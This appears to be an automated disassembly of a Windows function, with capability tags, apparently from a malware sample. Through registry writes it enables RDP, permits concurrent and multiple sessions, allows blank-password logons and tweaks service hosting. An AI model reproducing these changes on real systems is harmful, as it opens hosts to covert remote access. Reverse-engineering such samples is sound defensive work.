Function at 0x41e550
Capabilities:
Check if file exists
Check os version
Get file attributes
Get system information on windows
Persist via windows service
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x278
mov eax, dword [0x449080]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x118
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x23c], 0
push 0
push eax
call fcn.004224a0
add esp, 0xc
mov dword [ebp - 0x230], 0x11c
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
xorps xmm0, xmm0
mov dword [ebp - 0x250], 0
lea eax, [ebp - 0x270]
movaps xmmword [ebp - 0x270], xmm0
push eax
movaps xmmword [ebp - 0x260], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x22c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp ecx, 5
jne 0x41e64d
mov eax, dword [ebp - 0x228]
test eax, eax
jne 0x41e607
mov dword [ebp - 0x23c], 0x1388
jmp 0x41eaf5
cmp eax, 1
jne 0x41e61b
mov dword [ebp - 0x23c], 0x13ec
jmp 0x41eaf5
cmp eax, 2
jne 0x41eaf5
cmp byte [ebp - 0x116], 1
jne 0x41e646
cmp word [ebp - 0x270], 9
jne 0x41e646
mov dword [ebp - 0x23c], 0x13ec
jmp 0x41eaf5
mov eax, 0x1450
jmp 0x41e6c8
cmp ecx, 6
jne 0x41eaf5
mov eax, dword [ebp - 0x228]
test eax, eax
jne 0x41e67f
cmp byte [ebp - 0x116], 1
jne 0x41e678
mov dword [ebp - 0x23c], 0x1770
jmp 0x41eaf5
mov eax, 0x17a2
jmp 0x41e6c8
cmp eax, 1
jne 0x41e6a2
cmp byte [ebp - 0x116], al
jne 0x41e69b
mov dword [ebp - 0x23c], 0x17d4
jmp 0x41eaf5
mov eax, 0x1806
jmp 0x41e6c8
cmp eax, 2
jne 0x41ead6
cmp byte [ebp - 0x116], 1
jne 0x41e6c3
mov dword [ebp - 0x23c], 0x1838
jmp 0x41eaf5
mov eax, 0x186a
mov dword [ebp - 0x23c], eax
cmp eax, 0x1450
jne 0x41eaf5
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 0
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41e731
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.fDenyTSConnections
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41e789
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.TSAdvertise
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41e7e1
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.IdleWinStationPoolCount
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41e839
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.TSEnabled
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 0
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41e891
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.TSUserEnabled
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 0
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_ServerLicensing_Core
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41e8e9
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.EnableConcurrentSessions
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41e941
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.fEnableWinStation
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 0xffffffff
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41e999
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.MaxInstanceCount
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41e9f1
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.AllowMultipleTSSessions
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x234], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x41eaf5
cmp dword [ebp - 0x234], 0
je 0x41eaf5
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 0
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41ea7c
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.WinStationsDisabled
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41eaf5
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.AllowMultipleTSSessions
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x41eaf5
cmp eax, 3
jne 0x41eaf5
cmp byte [ebp - 0x116], 1
mov eax, 0x18ce
mov ecx, 0x189c
cmove eax, ecx
mov dword [ebp - 0x23c], eax
lea eax, [ebp - 0x234]
mov dword [ebp - 0x234], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x41ec55
cmp dword [ebp - 0x234], 0
je 0x41ec55
mov eax, dword [ebp - 0x23c]
cmp eax, 0x13ec
je 0x41f179
cmp eax, 0x1450
je 0x41f179
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 0
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41eb9c
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.fDenyTSConnections
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 0
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlLsa
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41ebf4
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.LimitBlankPasswordUse
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41f179
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.AllowMultipleTSSessions
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x41f179
mov eax, dword [ebp - 0x23c]
cmp eax, 0x13ec
jne 0x41eb39
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41ecbe
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.EnableConcurrentSessions
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41ed16
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.AllowMultipleTSSessions
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41ed6e
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.TSEnabled
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 0
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41edc6
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.TSUserEnabled
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_ServerLicensing_Core
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41ee1e
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.EnableConcurrentSessions
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SYSTEMControlSet001ControlTerminal_ServerLicensing_Core
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41ee76
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.EnableConcurrentSessions
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SYSTEMControlSet001Control_terminal_server
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41eece
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.TSenabled
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SYSTEMControlSet001Terminal_ServerLicensing_Core
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41ef26
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.EnableConcurrentSessions
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 0xffffffff
push eax
push 0xf003f
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41ef7e
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.MaxInstanceCount
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
test eax, eax
jne 0x41efbc
mov ax, word [0x4460e4]
movq xmm0, qword [str.c:windows]
mov word [ebp - 0x108], ax
mov al, byte [0x4460e6]
movq qword [ebp - 0x110], xmm0
mov byte [ebp - 0x106], al
xor ecx, ecx
nop
mov al, byte [ebp + ecx - 0x110]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x219], al
test al, al
jne 0x41efc0
lea edi, [ebp - 0x110]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x41efe0
mov ecx, 6
mov esi, str._system32dllcacheWON.bac
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x218]
dec ecx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
nop
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x41f000
mov eax, dword [str._system32WON.bac]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ecx], eax
mov eax, dword [0x4463c8]
mov dword [ecx + 4], eax
mov eax, dword [0x4463cc]
mov dword [ecx + 8], eax
mov eax, dword [0x4463d0]
mov dword [ecx + 0xc], eax
mov ax, word [0x4463d4]
mov word [ecx + 0x10], ax
lea eax, [ebp - 0x110]
push eax
call esi
cmp eax, 0xffffffff
jne 0x41f057
lea eax, [ebp - 0x218]
push eax
call esi
cmp eax, 0xffffffff
je 0x41f16d
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x234]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
mov dword [ebp - 0x238], 1
mov dword [ebp - 0x234], 0
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x41f0bb
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.TSUserEnabled
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 0
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_ServerLicensing_Core
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41f113
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.EnableConcurrentSessions
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 0
push eax
push 0xf003f
push 0
push str.SYSTEMControlSet001ControlTerminal_ServerLicensing_Core
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41f179
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.EnableConcurrentSessions
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x41f179
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 0xf423f
push eax
push 0xf003f
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41f1d1
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.MaxInstanceCount
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
mov edx, 4
call fcn.00419150
add esp, 4
test al, al
je 0x41f2a7
cmp dword [0x44aed4], 0x3a5e
jl 0x41f2a7
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesDnscache
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41f24f
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.SvcHostSplitDisable
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x234]
mov dword [ebp - 0x238], 1
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesTermService
push connect
mov dword [ebp - 0x234], 0
call esi
test eax, eax
jne 0x41f2a7
push 4
lea eax, [ebp - 0x238]
push eax
push 4
push 0
push str.SvcHostSplitDisable
push dword [ebp - 0x234]
call edi
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004206b9
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret